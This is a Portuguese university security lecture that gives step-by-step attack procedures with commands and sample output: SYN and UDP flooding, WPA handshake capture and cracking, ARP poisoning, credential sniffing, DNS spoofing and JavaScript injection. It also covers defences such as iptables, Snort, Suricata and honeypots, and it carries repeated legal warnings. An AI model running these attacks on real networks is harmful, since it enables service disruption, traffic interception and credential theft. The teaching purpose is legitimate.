Logo UFPR Logo Licenciatura em Computação

CÓDIGO DA DISCIPLINA: DEE345

SEGURANÇA DIGITAL - Aula 12

Professor Jéfer Benedett Dörr

Prof. Jéfer Benedett Dörr

Departamento de Engenharias e Exatas - UFPR/Palotina

Docente de Segurança da Informação

Aula 12: Ataques e Segurança de Redes

Objetivos de Aprendizagem

1. Netcat (“Canivete Suíço” da Rede)

Netcat (nc) é uma ferramenta versátil para manipulação de conexões TCP/UDP. Permite criar servidores, clientes, transferir arquivos e realizar varreduras de portas.

1.1 Chat TCP

Estabelece uma comunicação bidirecional entre duas máquinas via TCP.


# Servidor: escuta na porta 4444
nc -l 4444

# Cliente: conecta ao servidor
nc 192.168.1.10 4444
  

Explicação: O servidor (-l) aguarda conexões na porta especificada. O cliente se conecta ao IP e porta do servidor. Digite mensagens em uma máquina, e elas aparecerão na outra. Use Ctrl+C para encerrar.

1.2 Transferência de Arquivos

Transfere arquivos ou diretórios entre máquinas sem necessidade de protocolos como FTP.


# Servidor: compacta e envia diretório
tar czf - ./dados | nc -l 5555

# Cliente: recebe e descompacta
nc 192.168.1.10 5555 | tar xzf -
  

Explicação: O comando tar compacta o diretório dados, que é enviado via nc. O cliente recebe o fluxo e descompacta diretamente. Teste com um diretório pequeno para verificar a integridade.

1.3 Scan de Portas TCP

Identifica portas abertas em um intervalo de IPs.


nc -zv 192.168.1.0/24 22-1024
  

Explicação: -z evita enviar dados, -v exibe detalhes, e a faixa 22-1024 verifica portas comuns. A saída mostra portas abertas (e.g., "succeeded"). Útil para mapeamento de rede, mas exige cuidado em redes não autorizadas.

1.4 Exercício Prático

Configure dois terminais: um como servidor (nc -l 9999) e outro como cliente (nc localhost 9999). Envie uma mensagem e capture o tráfego com Wireshark (filtro: tcp.port == 9999). Analise os pacotes trocados.

2. Ataques de Negação de Serviço (DoS/DDoS)

DoS e DDoS visam sobrecarregar recursos de rede, tornando serviços indisponíveis. Testes devem ser feitos apenas em ambientes controlados.

2.1 SYN Flood com hping3

Inunda o alvo com pacotes SYN, esgotando a tabela de conexões TCP.


# Enviar pacotes SYN para a porta 80
hping3 -S 192.168.1.10 -p 80 --flood
  

Explicação: -S define pacotes SYN, --flood envia rapidamente sem esperar respostas. O alvo pode ficar lento ou parar de responder. Monitore com tcpdump (tcp port 80) para observar o tráfego.

2.2 T50 (Multi-Vector DoS)

Gera tráfego massivo com diferentes protocolos (e.g., UDP, TCP).


# UDP flood com pacotes de 1470 bytes
t50 --udp -d 1470 192.168.1.10
  

Explicação: --udp especifica o protocolo, -d define o tamanho do pacote. O T50 pode combinar múltiplos vetores, tornando-o eficaz para testes de estresse. Use em um ambiente isolado.

2.3 Mitigação

Configure um firewall para limitar conexões por IP:


sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 50 -j DROP
  

Explicação: Restringe conexões SYN simultâneas por IP, mitigando floods. Teste o ataque antes e depois da regra para comparar o impacto.

Aviso: Ataques DoS/DDoS são ilegais sem autorização explícita. Use apenas em laboratórios controlados.

3. Redes Sem Fio – Análise e Ataques

Redes Wi-Fi são vulneráveis a interceptações e ataques de desautenticação. A suite aircrack-ng é amplamente usada para testes de segurança.

3.1 Suite aircrack-ng

Prática Guiada: Quebrando Senha WPA/WPA2 com aircrack-ng

  1. Desconectar da rede Wi-Fi atual
    Antes de qualquer coisa, saia de qualquer rede conectada:
    > nmcli radio wifi off && nmcli radio wifi on
  2. Colocar a interface em modo monitor
    Descubra o nome da sua interface de Wi-Fi (ex.: wlan0) com ifconfig ou ip a, e então:
    > airmon-ng start wlan0
    Isso criará uma nova interface, geralmente chamada mon0 ou wlan0mon, dedicada à captura de pacotes.
  3. Listar redes disponíveis
    Use sua interface em modo monitor para escanear todas as redes ao alcance:
    > airodump-ng mon0
    Anote o BSSID (MAC do AP) e o canal (CH) da rede alvo.
  4. Focar em uma rede específica
    Inicie a captura apenas no AP alvo, salvando em “saida”:
    > airodump-ng --bssid 00:14:6C:7E:40:80 -c 9 -w saida mon0
    • --bssid: MAC do ponto de acesso (AP).
    • -c: canal da rede (ex.: 9).
    • -w: prefixo do arquivo de saída (serão gerados saida-01.cap, etc.).
    • mon0: interface em modo monitor.
  5. Testar injeção de pacotes (opcional mas recomendado)
    Verifique se sua placa suporta injeção e gere tráfego:
    > aireplay-ng -9 -e "sua_rede" -a 00:14:6C:7E:40:80 mon0
    • -9: modo de teste de injeção.
    • -e: ESSID (nome da rede).
    • -a: MAC do AP.
  6. Capturar o handshake WPA
    Enquanto airodump-ng roda, aguarde até ver “WPA handshake” no canto superior direito:
    > airodump-ng --bssid 00:14:6C:7E:40:80 -c 9 -w saida mon0
  7. Quebrar a senha com wordlist
    Após capturar o handshake no arquivo saida-01.cap, execute:
    > aircrack-ng saida-01.cap -w /usr/share/wordlists/rockyou.txt
    • saida-01.cap: arquivo que contém o handshake.
    • -w: caminho para a wordlist (ex.: rockyou.txt).
    Quando o processo encontrar a chave, exibirá:
    KEY FOUND! [ sua_senha ]

Dicas finais:

  • Use wordlists grandes e específicas para melhorar as chances de sucesso.
  • Testes devem ser feitos apenas em redes autorizadas.
  • Salve seus arquivos de captura para análises posteriores ou para testar diferentes wordlists.

3.2 Exercício Prático

Configure um AP de teste (e.g., roteador doméstico com WPA2). Use aircrack-ng para capturar o handshake e tente quebrar a senha com rockyou.txt. Documente o tempo necessário e analise as limitações.

3.3 Protocolos Wi-Fi

4. Inspeção Profunda de Tráfego

Analisar tráfego de rede é essencial para detectar atividades maliciosas. Ferramentas como Wireshark e tcpdump são fundamentais.

4.1 Wireshark

Interface gráfica para análise de pacotes.


# Filtrar tráfego HTTP
http

# Seguir uma conexão TCP
Right-click → Follow → TCP Stream

# Exportar objetos HTTP (e.g., imagens)
File → Export Objects → HTTP
  

Explicação: O filtro http mostra apenas pacotes HTTP. "Follow TCP Stream" reconstrói a conversa, útil para analisar payloads. Exportar objetos recupera arquivos transferidos.

4.2 tcpdump

Ferramenta de linha de comando para captura de pacotes.


# Capturar pacotes TCP na porta 443 e salvar
sudo tcpdump -i eth0 tcp port 443 -w dump.pcap

# Filtrar conexões SSH de um host
sudo tcpdump -nn -i eth0 host 10.0.0.5 and port 22
  

Explicação: -i especifica a interface, -w salva em um arquivo pcap, -nn desativa resolução de nomes. Use Wireshark para abrir o arquivo salvo.

4.3 Bettercap

Ferramenta moderna para sniffing e ataques MITM.


# Iniciar sniffing de rede
sudo bettercap -eval "net.probe on; net.sniff on"

# Executar ARP spoofing com injeção de JavaScript
sudo bettercap -X --proxy-module injectjs --js-file script.js
  

Explicação: net.sniff captura pacotes, --proxy-module injeta código em páginas HTTP. Crie um script.js com alert("MITM!"); para testar a injeção.

4.4 Exercício Prático

Capture tráfego HTTPS (porta 443) com tcpdump em um ambiente de teste. Abra o arquivo em Wireshark e aplique o filtro tls. Identifique o domínio acessado (via SNI) e discuta por que o conteúdo está criptografado.

Ferramentas de Sniffing e Spoofing Detalhadas

Cain & Abel

O uso de Cain & Abel (Windows) e dsniff (Unix/Linux) para sniffing (captura de dados de rede) e spoofing (manipulação de tráfego). Essas ferramentas simulam ataques como Man-in-the-Middle (MITM) para capturar credenciais e analisar protocolos, sendo úteis em testes éticos de segurança. Abaixo, explico cada ferramenta com exemplos práticos, saídas esperadas, comandos detalhados e cenários reais.

Aviso Ético: Use essas ferramentas apenas em ambientes autorizados (ex.: laboratórios próprios ou plataformas como TryHackMe). Interceptar tráfego sem permissão viola a Lei nº 14.155/2021 (Crimes Cibernéticos) e a LGPD (Lei nº 13.709).

1. Cain & Abel (Windows)

Visão Geral

Cain & Abel é uma ferramenta gráfica para Windows que combina sniffing, ARP spoofing, análise de protocolos e quebra de dados. É amplamente usada em pentests para testar a segurança de redes locais, capturando credenciais em texto claro e quebrando hashes.

Funcionalidades Principais

Pré-requisitos

Exemplo Prático: ARP Spoofing + Captura de Credenciais

Cenário: Em um laboratório, você é um pentester testando a rede 192.168.1.0/24. O alvo é 192.168.1.10, e o gateway é 192.168.1.1. Você usará Cain & Abel para interceptar credenciais HTTP.

  1. Configurar o Sniffer:

    Abra o Cain & Abel como administrador. Vá em Configure → Sniffer e selecione a interface de rede (ex.: Ethernet).

    Saída Esperada:

    Interface selecionada: Realtek PCIe Adapter (192.168.1.100)

    Explicação: Define a interface para captura de pacotes. Certifique-se de estar na mesma sub-rede do alvo.

  2. Iniciar ARP Poisoning:

    Ative o modo sniffer (botão na barra superior). Vá em APR, clique em “+” e adicione o par IP-alvo (192.168.1.10) e IP-gateway (192.168.1.1). Clique em “Start APR”.

    Saída Esperada:

    APR started: Poisoning 192.168.1.10 <->192.168.1.1
              

    Explicação: O Cain & Abel envia pacotes ARP, convencendo o alvo e o gateway de que seu MAC é o correto, redirecionando o tráfego por você.

  3. Capturar Credenciais:

    Vá em Passwords → Network. Quando o alvo acessar sites HTTP, as credenciais aparecerão.

    Saída Esperada:

    HTTP: 192.168.1.10 -> www.example.com/login
    User: alice
    Pass: P@ssw0rd!
              

    Explicação: Credenciais HTTP não criptografadas (sem HTTPS) são capturadas em tempo real.

  4. Quebrar Hashes:

    Se capturar um hash NTLM (ex.: via SMB), vá em Cracker → LM & NTLM Hashes, selecione o hash e clique em “Start” com uma wordlist (ex.: rockyou.txt).

    Saída Esperada:

    Hash: aad3b435b51404ee...
    Password: Password123
              

    Explicação: Usa força bruta ou dicionário para revelar a senha original.

Comandos Relacionados

Embora o Cain & Abel seja GUI, você pode verificar o status da rede no Windows:

arp -a

Saída Esperada:

192.168.1.10  00-14-22-01-23-45  dynamic
192.168.1.1             dynamic
      

Explicação: Confirma que a tabela ARP foi envenenada, associando o IP do gateway ao seu MAC.

Dicas Acadêmicas

Nota: O Cain & Abel é uma ferramenta antiga (última versão ~2014). Para alternativas modernas, use Bettercap ou Wireshark com plugins.

2. dsniff (Unix/Linux)

Visão Geral

dsniff é um conjunto de ferramentas de linha de comando para Unix/Linux, projetado para sniffing, spoofing e captura automatizada de credenciais em texto claro. É ideal para pentesters que preferem automação e scripts.

Utilitários Principais

Pré-requisitos

Exemplo Prático: ARP Spoofing + Captura de Credenciais HTTP

Cenário: Em um laboratório, você é um pentester na rede 192.168.1.0/24. O alvo é 192.168.1.10, e o gateway é 192.168.1.1. Você usará dsniff para capturar credenciais HTTP.

  1. Habilitar IP Forwarding:

    Permite redirecionar pacotes entre alvo e gateway:

    sudo echo 1 > /proc/sys/net/ipv4/ip_forward

    Saída Esperada: Nenhuma saída visível.

    Explicação: Ativa o encaminhamento de pacotes, essencial para MITM sem interromper a conexão do alvo.

    Verifique:

    cat /proc/sys/net/ipv4/ip_forward

    Saída Esperada:

    1
  2. Envenenar Tabelas ARP:

    Use arpspoof para enganar o alvo e o gateway:

    sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 &

    Saída Esperada:

    00:14:22:01:23:45 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 
              

    Em outro terminal:

    sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 &

    Explicação: Envia pacotes ARP falsos, associando seu MAC aos IPs do alvo e gateway, redirecionando o tráfego por você.

  3. Capturar Credenciais com dsniff:

    Inicie o dsniff para monitorar tráfego HTTP/FTP:

    sudo dsniff -i eth0

    Saída Esperada:

    dsniff: listening on eth0
    -----------------
    [HTTP] 192.168.1.10 -> www.example.com/login
    user: alice
    pass: P@ssw0rd!
    -----------------
    [FTP] 192.168.1.10 -> ftp.example.com
    user: bob
    pass: ftp123
              

    Explicação: Captura credenciais em texto claro de protocolos não criptografados.

  4. Monitorar URLs com urlsnarf:

    Para registrar URLs acessadas:

    sudo urlsnarf -i eth0

    Saída Esperada:

    urlsnarf: listening on eth0 [tcp port 80]
    192.168.1.10 - - [12/Jun/2025:10:15:00] "GET http://www.example.com/login HTTP/1.1" - - "Mozilla/5.0"
              

    Explicação: Registra atividades web, útil para mapear comportamento do alvo.

Comandos Adicionais

Testar DNS Spoofing:

# Crie um arquivo hosts.txt
echo "192.168.1.100 www.example.com" > hosts.txt

# Inicie dnsspoof
sudo dnsspoof -i eth0 -f hosts.txt

Saída Esperada:

dnsspoof: listening on eth0 [udp dst port 53]
192.168.1.10 -> www.example.com A 192.168.1.100
      

Explicação: Redireciona consultas DNS para um IP falso, simulando um site malicioso.

Dicas Acadêmicas

Nota: O dsniff é poderoso, mas requer configuração manual. Para GUIs modernas, experimente Ettercap.

Comparação: Cain & Abel vs. dsniff

Prática Recomendada: Teste em um laboratório com TryHackMe ou VMs locais. Combine com Wireshark para análise detalhada de pacotes.

Conclusão

Cain & Abel e dsniff são ferramentas clássicas para sniffing e spoofing, úteis para entender ataques MITM e testar redes. Alunos devem praticar em ambientes controlados, documentar saídas (ex.: capturas de tela, logs) e explorar alternativas modernas como Bettercap. A ética é fundamental: respeite as leis e use apenas em testes autorizados.

Lembrete: Ferramentas de sniffing/spoofing podem ser detectadas por sistemas IDS/IPS (ex.: Snort). Em testes reais, obtenha autorização por escrito.

Ettercap para MITM e Sniffing

Introdução

Ettercap é uma ferramenta poderosa para realizar ataques Man-in-the-Middle (MITM) em redes locais (LAN), suportando ARP Poisoning, DNS Spoofing e sniffing de tráfego em tempo real. É amplamente usada em pentests éticos para testar a segurança de redes, capturando credenciais e manipulando dados. Este slide expande o uso do Ettercap com exemplos práticos, saídas detalhadas e cenários educacionais.

Aviso Ético: Use o Ettercap apenas em ambientes autorizados (ex.: laboratórios próprios, TryHackMe). Interceptar tráfego sem permissão viola a Lei nº 14.155/2021 (Crimes Cibernéticos) e a LGPD (Lei nº 13.709/2018).

Wireshark para Captura e Análise

Introdução

Wireshark é uma ferramenta gráfica de código aberto para captura e análise de pacotes de rede em tempo real. É amplamente usada em cibersegurança para depurar redes, investigar ataques e realizar pentests éticos. Este slide expande o uso básico do Wireshark, focando na análise de tráfego HTTP, com exemplos práticos, saídas detalhadas e cenários educacionais.

Aviso Ético: Capture pacotes apenas em redes autorizadas (ex.: laboratórios próprios, TryHackMe). Interceptar tráfego sem permissão viola a Lei nº 14.155/2021 (Crimes Cibernéticos) e a LGPD (Lei nº 13.709/2018).

1. Visão Geral do Wireshark

O Wireshark captura pacotes de rede (ex.: Ethernet, Wi-Fi) e exibe detalhes como protocolos, IPs, portas e payloads. Suas principais funcionalidades incluem:

Pré-requisitos

2. Iniciar Captura

Objetivo

Iniciar a captura de pacotes em uma interface de rede (ex.: eth0).

Cenário

Você é um pentester analisando tráfego HTTP em um laboratório com rede 192.168.1.0/24. Sua máquina (Kali, 192.168.1.100) capturará pacotes de um alvo (192.168.1.10) acessando um site HTTP.

Passos Detalhados

  1. Abrir Wireshark:

    Inicie o Wireshark (GUI):

    wireshark &

    Saída Esperada: Interface gráfica com lista de interfaces (ex.: eth0, wlan0).

    Explicação: Cada interface representa um adaptador de rede. Escolha a ativa (ex.: eth0 para Ethernet).

  2. Selecionar Interface:

    Duplo clique em eth0 ou clique em “Start” após selecioná-la.

    Saída Esperada:

    Capturing on 'eth0'
    Packets: 100... 200...
              

    Explicação: Pacotes começam a aparecer na janela principal, com colunas como origem, destino, protocolo e informações.

  3. Validar com tshark (CLI):

    Alternativamente, use tshark para captura via terminal:

    tshark -i eth0

    Saída Esperada:

    1 0.000000 192.168.1.10 → 192.168.1.1 TCP 74 49152 → 80 [SYN]
    2 0.000123 192.168.1.1 → 192.168.1.10 TCP 74 80 → 49152 [SYN, ACK]
              

    Explicação: Lista pacotes em tempo real, útil para automação.

Dicas Acadêmicas

3. Filtrar Tráfego HTTP

Objetivo

Isolar pacotes HTTP para analisar requisições e respostas web.

Passos Detalhados

  1. Aplicar Filtro HTTP:

    Na barra de filtro (verde), digite:

    http

    Pressione Enter.

    Saída Esperada:

    No.  Time        Source         Destination    Protocol  Info
    1    0.000000    192.168.1.10   93.184.216.34  HTTP      GET /login HTTP/1.1
    2    0.001234    93.184.216.34  192.168.1.10   HTTP      HTTP/1.1 200 OK
              

    Explicação: Mostra apenas pacotes HTTP (porta 80), como requisições GET/POST.

  2. Filtro de Captura:

    Antes de iniciar a captura, use um filtro de captura para reduzir dados:

    tcp port 80

    Informe na janela de captura (opção “Capture Filter”).

    Saída Esperada: Apenas pacotes na porta 80 são capturados.

    Explicação: Diferente do filtro de exibição, o filtro de captura descarta outros pacotes, economizando recursos.

  3. Filtro Combinado (HTTP e DNS):

    Use o filtro sugerido no slide:

    tcp port 80 or udp port 53

    Saída Esperada:

    No.  Time        Source         Destination    Protocol  Info
    1    0.000000    192.168.1.10   8.8.8.8        DNS       Standard query A www.example.com
    2    0.001234    192.168.1.10   93.184.216.34  HTTP      GET /login HTTP/1.1
              

    Explicação: Captura tráfego HTTP (TCP/80) e DNS (UDP/53), útil para analisar navegação web.

  4. Filtro Avançado (Credenciais):

    Para capturar POSTs com credenciais:

    http.request.method == POST

    Saída Esperada:

    No.  Time        Source         Destination    Protocol  Info
    1    0.000000    192.168.1.10   93.184.216.34  HTTP      POST /login HTTP/1.1
              

    Explicação: Isola requisições POST, comuns em formulários de login.

Dicas Acadêmicas

4. Seguir Fluxo TCP

Objetivo

Reconstruir uma sessão HTTP para visualizar o diálogo cliente-servidor, como um formulário de login.

Passos Detalhados

  1. Selecionar Pacote HTTP:

    Filtre por http, clique com o botão direito em um pacote (ex.: POST /login) e selecione Follow ▶ TCP Stream.

    Saída Esperada:

    POST /login HTTP/1.1
    Host: www.example.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    
    username=alice&password=P@ssw0rd!
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 123
    
    Login successful
              

    Explicação: Mostra a requisição (POST com credenciais) e a resposta (HTML de sucesso).

  2. Análise:

    Observe credenciais em texto claro (HTTP) ou cookies de sessão. Em HTTPS, o payload estará criptografado.

    Explicação: Fluxos TCP são úteis para depurar ou identificar vazamentos de dados.

  3. tshark Alternativa:

    Extraia fluxos via CLI:

    tshark -r capture.pcap -Y "http" -z follow,tcp,ascii,0

    Saída Esperada: Similar à GUI, com requisição e resposta em texto.

Dicas Acadêmicas

5. Exportar Resultado

Objetivo

Salvar pacotes capturados para análise offline ou compartilhamento.

Passos Detalhados

  1. Exportar Pacotes:

    Vá em File ▶ Export Specified Packets, selecione “All packets” ou “Displayed” (filtrados) e salve como .pcapng.

    Saída Esperada: Arquivo capture.pcapng criado.

    Explicação: O formato .pcapng preserva metadados e é compatível com outras ferramentas.

  2. Exportar com tshark:

    Salve pacotes filtrados via CLI:

    tshark -i eth0 -f "tcp port 80" -w http_capture.pcapng

    Saída Esperada: Arquivo http_capture.pcapng criado.

  3. Analisar Offline:

    Abra o arquivo:

    wireshark http_capture.pcapng &

    Explicação: Permite revisar pacotes sem recapturar.

Dicas Acadêmicas

6. Diagrama Interativo: Fluxo de Captura

Ilustração do processo de captura de pacotes com Wireshark:

Cliente (192.168.1.10) Servidor (93.184.216.34) Wireshark Tráfego HTTP Captura

Explicação: O Wireshark intercepta pacotes entre cliente e servidor, permitindo análise detalhada do tráfego.

7. Conclusão

O Wireshark é uma ferramenta essencial para análise de redes, permitindo capturar, filtrar e inspecionar pacotes com precisão. Alunos devem praticar em laboratórios éticos, usar filtros para otimizar capturas e documentar resultados (ex.: screenshots, arquivos pcapng). Para avançar, explore filtros complexos, tshark e integração com ferramentas como Ettercap ou Splunk.

Recursos

Lembrete: Capturas de pacotes podem ser detectadas por ferramentas de monitoramento. Em testes reais, obtenha permissão por escrito.

1. Visão Geral do Ettercap

O Ettercap é um framework flexível disponível para Linux (Kali, Parrot OS), com interfaces gráfica (-G) e texto (-T). Ele permite:

Pré-requisitos

2. ARP Poisoning com Ettercap

Objetivo

Realizar um ataque MITM via ARP Poisoning, interceptando tráfego entre um alvo (192.168.1.10) e o gateway (192.168.1.1).

Cenário

Você é um pentester em um laboratório com rede 192.168.1.0/24. Sua máquina (Kali, 192.168.1.100) realizará MITM entre o alvo e o gateway.

Passos Detalhados

  1. Habilitar IP Forwarding:

    Permite redirecionar pacotes sem interromper a conexão:

    sudo echo 1 > /proc/sys/net/ipv4/ip_forward

    Saída Esperada: Nenhuma saída visível.

    Explicação: Ativa o encaminhamento de pacotes, essencial para o MITM. Verifique:

    cat /proc/sys/net/ipv4/ip_forward

    Saída Esperada:

    1
  2. Iniciar ARP Poisoning (Modo Texto):

    Use Ettercap para envenenar tabelas ARP:

    sudo ettercap -T -q -M arp:remote /192.168.1.10/ /192.168.1.1/

    Parâmetros:

    • -T: Modo texto.
    • -q: Modo silencioso (menos verboso).
    • -M arp:remote: Realiza ARP Poisoning bidirecional.
    • /192.168.1.10/: IP do alvo.
    • /192.168.1.1/: IP do gateway.

    Saída Esperada:

    Ettercap 0.8.3.1 started
    Scanning for merged targets (2 hosts)...
    ARP poisoning victims:
    GROUP 1: 192.168.1.10 00:14:22:01:23:45
    GROUP 2: 192.168.1.1  00:16:17:02:34:56
    Starting Unified sniffing...
              

    Explicação: O Ettercap envia pacotes ARP falsos, associando seu MAC aos IPs do alvo e gateway, redirecionando o tráfego por você.

  3. Validar o Ataque:

    No alvo (192.168.1.10), verifique a tabela ARP:

    arp -a

    Saída Esperada:

    192.168.1.1    dynamic
              

    Explicação: Confirma que o gateway está associado ao MAC do atacante.

    Monitore o tráfego com tcpdump:

    sudo tcpdump -i eth0 host 192.168.1.10

    Saída Esperada:

    10:15:00.123456 IP 192.168.1.10.80 > 192.168.1.100.12345: Flags [P.], seq 1:100
              

Dicas Acadêmicas

3. Sniffing de Senhas

Objetivo

Capturar credenciais de protocolos inseguros (HTTP, FTP, SMTP) durante o MITM.

Passos Detalhados

  1. Modo Gráfico (GTK):

    Inicie o Ettercap com interface gráfica:

    sudo ettercap -G

    Saída Esperada: Janela GTK com opções de configuração.

    Explicação: Interface amigável para iniciantes. Navegue até Plugins → Manage the plugins.

  2. Ativar Plugin de Senhas:

    Selecione o plugin passwords e ative-o.

    Saída Esperada:

    Plugin 'passwords' activated
              

    Explicação: O plugin filtra credenciais de protocolos como HTTP, FTP e SMTP.

  3. Iniciar Sniffing:

    Configure o MITM (como no passo anterior) e inicie a captura. As credenciais aparecerão na aba Passwords ou no terminal.

    Saída Esperada:

    HTTP : 192.168.1.10:80 -> USER: alice  PASS: P@ssw0rd!  INFO: www.example.com/login
    FTP  : 192.168.1.10:21 -> USER: bob    PASS: ftp123     INFO: ftp.example.com
              

    Explicação: Credenciais em texto claro são capturadas de protocolos não criptografados.

  4. Modo Texto (Alternativa):

    Use o plugin diretamente na CLI:

    sudo ettercap -T -q -M arp /192.168.1.10/ /192.168.1.1/ -P passwords

    Saída Esperada: Mesma saída de credenciais no terminal.

Dicas Acadêmicas

4. DNS Spoofing

Objetivo

Redirecionar vítimas para um site falso forjando respostas DNS durante o MITM.

Passos Detalhados

  1. Configurar etter.dns:

    Edite o arquivo de configuração DNS:

    sudo nano /etc/ettercap/etter.dns

    Adicione:

    
    www.example.com A 192.168.1.100
    *.example.com   A 192.168.1.100
            

    Explicação: Redireciona consultas para `www.example.com` ao IP do atacante (192.168.1.100), onde um site falso pode estar hospedado.

  2. Iniciar DNS Spoofing:

    Combine ARP Poisoning com o plugin dns_spoof:

    sudo echo 1 > /proc/sys/net/ipv4/ip_forward
    sudo ettercap -T -q -M arp /192.168.1.10/ /192.168.1.1/ -P dns_spoof

    Saída Esperada:

    dns_spoof: A [www.example.com] spoofed to [192.168.1.100]
              

    Explicação: Quando o alvo acessar `www.example.com`, será redirecionado ao IP do atacante.

  3. Hospedar Site Falso:

    Inicie um servidor web no Kali:

    sudo python3 -m http.server 80

    Saída Esperada:

    Serving HTTP on 0.0.0.0 port 80
    192.168.1.10 - - [12/Jun/2025 10:15:00] "GET / HTTP/1.1" 200 -
              

    Explicação: O alvo acessa o site falso hospedado no seu IP.

  4. Validar com Wireshark:

    Monitore consultas DNS:

    sudo wireshark -i eth0

    Saída Esperada: Filtro `dns.qry.name == www.example.com` mostra respostas com 192.168.1.100.

Dicas Acadêmicas

5. Diagrama Interativo: Fluxo do Ataque MITM

Ilustração do ataque MITM com ARP Poisoning:

Alvo (192.168.1.10) Gateway (192.168.1.1) Atacante ARP Falsos Tráfego Redirecionado

Explicação: O atacante envia pacotes ARP falsos, redirecionando o tráfego do alvo e gateway por sua máquina, permitindo sniffing ou spoofing.

6. Conclusão

O Ettercap é uma ferramenta versátil para MITM, sniffing e spoofing, ideal para pentesters testarem redes LAN. Alunos devem praticar em laboratórios éticos, documentar saídas (logs, capturas de tela) e explorar plugins adicionais. Para cenários modernos, combine com Bettercap ou Wireshark para análises avançadas.

Recursos Adicionais:

Lembrete: Ataques MITM podem ser detectados por sistemas IDS/IPS (ex.: Snort). Em testes reais, obtenha autorização por escrito.

5. Proteção de Rede

Fortalecer a segurança de rede envolve configurar firewalls, proxies, VPNs e protocolos seguros.

5.1 Firewalls

IPTables é usado para definir regras de filtragem de pacotes.


# Bloquear tudo, exceto SSH na porta 5849
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5849 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT
  

Explicação: -P INPUT DROP bloqueia todo tráfego de entrada. As regras permitem loopback, SSH (5849) e conexões estabelecidas. Teste com nc -zv localhost 5849.

5.2 Proxies

Squid é um proxy HTTP para controle de acesso.


# Instalar e configurar
sudo apt-get install squid
# Editar /etc/squid/squid.conf
acl localnet src 192.168.1.0/24
http_access allow localnet
# Reiniciar
sudo systemctl restart squid
  

Explicação: Define a rede permitida (localnet) e libera acesso HTTP. Configure um navegador para usar o proxy e teste a navegação.

5.3 VPN – OpenVPN

Cria túneis seguros para comunicação remota.


# Servidor: gerar chaves e iniciar
sudo apt-get install openvpn easy-rsa
make-cadir /etc/openvpn/easy-rsa
cd /etc/openvpn/easy-rsa
./easyrsa init-pki
./easyrsa build-ca
./easyrsa gen-dh
./easyrsa build-server-full server nopass
sudo openvpn --config /etc/openvpn/server.conf

# Cliente: conectar
sudo openvpn --config client.ovpn
  

Explicação: EasyRSA cria uma PKI. O servidor usa server.conf para escutar conexões. O cliente usa client.ovpn com certificados gerados. Verifique a conexão com ping.

5.4 Protocolos Seguros

5.5 NAT (Masquerade)


# Habilitar NAT para saída
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
  

Explicação: Permite que dispositivos em uma rede interna acessem a Internet via um gateway. ip_forward habilita o roteamento.

6. Aprofundando em Vetores de Ataque

Vetores avançados exploram falhas humanas e técnicas.

6.1 Exercício Prático

Configure arpspoof em um laboratório. Capture tráfego com Wireshark e injete um alerta JavaScript via Bettercap. Discuta os riscos éticos e legais.

7. Detecção e Resposta

Monitorar e responder a incidentes é essencial para segurança proativa.

7.1 Snort (IDS/IPS)

Detecta e bloqueia tráfego malicioso com base em regras.


# Instalar e configurar
sudo apt-get install snort
# Criar regra para ICMP
echo 'alert icmp any any -> any any (msg:"ICMP detected"; sid:1000001; rev:1;)' | sudo tee /etc/snort/rules/local.rules
# Executar
sudo snort -c /etc/snort/snort.conf -A console
  

Explicação: A regra alerta sobre pacotes ICMP. Teste com ping e verifique os alertas no console.

7.2 Suricata (IDS/IPS)

Suricata é um motor de IDS/IPS de alto desempenho que analisa tráfego de rede com base em regras, suporta múltiplos protocolos e oferece detecção avançada de ameaças.


# Instalar Suricata
sudo apt-get install suricata

# Atualizar regras padrão (Emerging Threats)
sudo suricata-update

# Configurar interface de rede em /etc/suricata/suricata.yaml
# Exemplo: interface: eth0
sudo nano /etc/suricata/suricata.yaml

# Executar Suricata em modo IDS
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 -v

# Testar detecção com uma regra personalizada
echo 'alert tcp any any -> any 80 (msg:"HTTP detected"; sid:1000002; rev:1;)' | sudo tee /etc/suricata/rules/local.rules
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 -v

# Verificar alertas gerados
sudo cat /var/log/suricata/fast.log
  

Explicação: Suricata é configurado via suricata.yaml, especificando a interface de rede (e.g., eth0). A ferramenta usa regras (como as do Emerging Threats) para detectar tráfego malicioso. A regra de exemplo alerta sobre tráfego HTTP na porta 80. Os logs em fast.log mostram alertas gerados. Teste acessando um site HTTP e verifique os logs.

Vantagens do Suricata: Suporta multithreading (diferente do Snort), análise de protocolos avançados (e.g., TLS, HTTP) e integração com SIEMs.

Exercício Prático: Configure Suricata em uma VM. Simule tráfego HTTP com curl http://example.com. Crie uma regra para detectar pacotes TCP na porta 22 (SSH). Analise os logs em /var/log/suricata/fast.log e discuta como Suricata pode complementar Snort em um ambiente corporativo.

7.3 Honeypot

Cowrie simula serviços vulneráveis para atrair atacantes.


# Instalar e iniciar
git clone https://github.com/cowrie/cowrie.git
cd cowrie
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg
bin/cowrie start
  

Explicação: Cowrie registra tentativas de login SSH/Telnet. Analise os logs em var/log/cowrie.

7.4 Análise de Logs


# Conexões ativas
sudo netstat -anp | grep ESTABLISHED

# Portas abertas
sudo lsof -i -P -n

# Eventos do kernel
dmesg --ctime | tail -n 50
  

Explicação: netstat mostra conexões, lsof identifica processos de rede, e dmesg exibe erros do sistema. Use grep para filtrar eventos específicos.

7.5 SIEM, EDR e SOAR

  • SIEM: ELK Stack centraliza logs. Exemplo: configure Logstash para processar logs de /var/log/syslog.
  • EDR: Wazuh monitora endpoints. Instale o agente e visualize alertas no dashboard.
  • SOAR: TheHive automatiza respostas. Exemplo: crie um caso para um alerta Snort.

8. APTs & Modelagem de Tráfego

APTs: Ataques persistentes usam spear-phishing, backdoors e zero-days. Exemplo: um APT pode usar um script PowerShell para movimentação lateral.

